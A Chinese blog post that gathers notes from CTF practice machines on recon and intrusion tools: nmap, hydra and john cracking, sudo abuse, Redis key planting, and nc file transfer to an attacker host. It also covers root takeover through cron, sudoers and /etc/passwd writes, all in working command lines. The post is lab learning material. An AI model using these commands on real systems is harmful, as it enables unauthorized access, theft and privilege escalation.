靶机知识点汇总

a 夏天 提交于 2021-02-12 09:49:19


做了二十个靶机了(公众号发会留两个存货),对一些知识点做个汇总



一些没啥意思的用 exp 直接打的,不计进来



nmap


在做靶机之前,我对于 web 安全的了解仅限于一些基础的 CTF 题目,压根就没用过 nmap,虽然看过几篇介绍的文章


nmap -sC -A -T 4 -n -p- 10.10.10.171
nmap参数:
-sC      根据端口识别的服务,调用默认脚本
-A       OS识别,版本探测,脚本扫描和traceroute
-T(0-5)  时间优化
-n/-R    不对IP进行域名反向解析/为所有的IP都进行域名的反向解析
-p-      扫描所有端口



searchsploit


searchsploit 是一个命令行搜索 exp 的工具,可以直接在 kali 终端中搜 exp,使用空格来区分关键词

例如:searchsploit opennetadmin



加上 -m 可以把 exp 复制到当前目录




netstat


netstat 各个参数解释


-a (all)显示所有选项,默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字
-l 仅列出有在 Listen (监听) 的服务状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令



ssh相关


john爆破密钥密码



用户将自己的公钥存储在远程主机上面,登陆的时候远程主机会向用户发送一段随机字符串,用户用私钥加密之后再将加密后的发送给主机,如果主机能够用公钥解密成功则可以连接


如果能查看密钥的话可以保存下来,然后用密钥去连接,如果密钥有密码的话,可以使用 ssh2john.py 先转换成 john 格式


python /usr/share/john/ssh2john.py mi > sshjohn


然后使用 john 爆破一下


john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn


使用 john 爆破 --wordlist 指定字典


john 工具对于同一个 shadow 文件只会进行一次爆破,如果第二次执行 john shadow 是不会得到结果的

如果想查看上一次爆破的结果,可以加上个 --show


hydra爆破ssh



hydra -l jim -w 10 -P 1.txt -t 10 -v -f 192.168.149.160 ssh

-l jim        指定爆破账号为 jim
-L user.txt   指定用户名字典为 user.txt
-w 10         设置最大超时时间10s,默认30s
-P pwd.txt    指定密码字典为 pwd.txt
-t 10         指定爆破线程为 10 个
-v            指定显示爆破过程
-f            查找到第一个可以使用的账号和密码的时候停止破解


authorized_keys



authorized_keys,里面实际放的就是客户机的公钥,只要公钥在这里面,这个客户机就不用使用密码就能登录


一开始 ubuntu 中没有这个文件



wsl 用 ssh 登录 ubuntu 是需要密码的



如果我把 wsl 的公钥拷出来,放到 ubuntu 用户 yichen 的 .ssh 下 authorized_keys 中,那么将不再需要密码




那么,如果有权限,可以把自己生成的公钥拷到目标的 authorized_keys 中,那么就可以直接 ssh 登录到这个用户

(那个靶机是允许执行另一个用户的 cp 命令,然后拷贝公钥到 .ssh/authorized_keys,再登录。但感觉实际用不到,会有这么用的?也许吧😄)



sudo -l


sudo -l 可以列出当前用户可以执行哪一些指令,如果有 NOPASSWD 的,就是不需要密码就能使用 sudo 的


例如,php 是不用密码就能使用 sudo 的,那么可以写一个 php 脚本 <?php system('/bin/sh'); ?>,然后 sudo 一执行就能拿到 root 权限



还有很多软件可以具体找一下他们怎么能开一个 shell,sudo 打开就是 root



redis未授权访问


关于 redis 核心利用点是,通过没有身份校验的 redis 服务进行登陆,同时指定 config dir 和 config dbfilename 的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell


有个利用脚本

https://github.com/Avinash-acid/Redis-Server-Exploit



python终端


一般打开的 shell,只有一个 $ 符号,通过这个能好看一下


python -c "import pty;pty.spawn('/bin/bash')"



从靶机上拷出东西来


(如果有 web 服务的话,直接拷到 web 目录,然后下载应该也可以吧)

攻击机新开一个终端,用来接收那个压缩包文件


nc -lvp 10001 >backup-ssh-identity-files.tgz


靶机 shell 里面使用 


nc 10.10.15.84 10001 < backup-ssh-identity-files.tgz



rbash逃逸


rbash 会限制一些命令没法用

参考:https://xz.aliyun.com/t/7642



whatweb


一个命令行下识别 cms 的工具




当你能root权限写文件


写计划任务



cron 的默认配置文件是 /etc/cronted,#开头的是注释,不会被处理

然后上面的内容是来设置 cron 的运行环境的



* 表示任意的数,即每分钟、每小时、每天...

如果有编辑文件的软件(比如 teehee)是 root 权限运行的话可以写


* * * * * root chmod 4777 /bin/sh


等个一分钟就能获得一个 root 权限的 shell


写/etc/sudoers



这个东西的作用是当用户执行 sudo 的时候,会先到这里面去找,如果发现用户有 sudo 的权限就能直接以 root 的权限来执行命令

文件内容公式:


授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2...


那么可以往里写


yichen ALL=(ALL:ALL) ALL


这样 yichen 就能通过 sudo 来执行 root 权限

又或者 peter 可以不使用密码用 sudo 执行任何命令


peter ALL=(ALL) NOPASSWD: ALL


写/etc/passwd



首先要生成 hash


openssl passwd -1 -salt yichen 123456


用户名:yichen,密码:123456


echo 'yichen:$1$yichen$6nzFZVX5T21iu2AmBgzin/:0:0:yichen:/root:/bin/bash' >> /etc/passwd


然后 su yichen,输入密码:123456 就拿到 root 权限了


后续更新汇总:

https://www.yuque.com/hxfqg9/web/gxg68i

本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!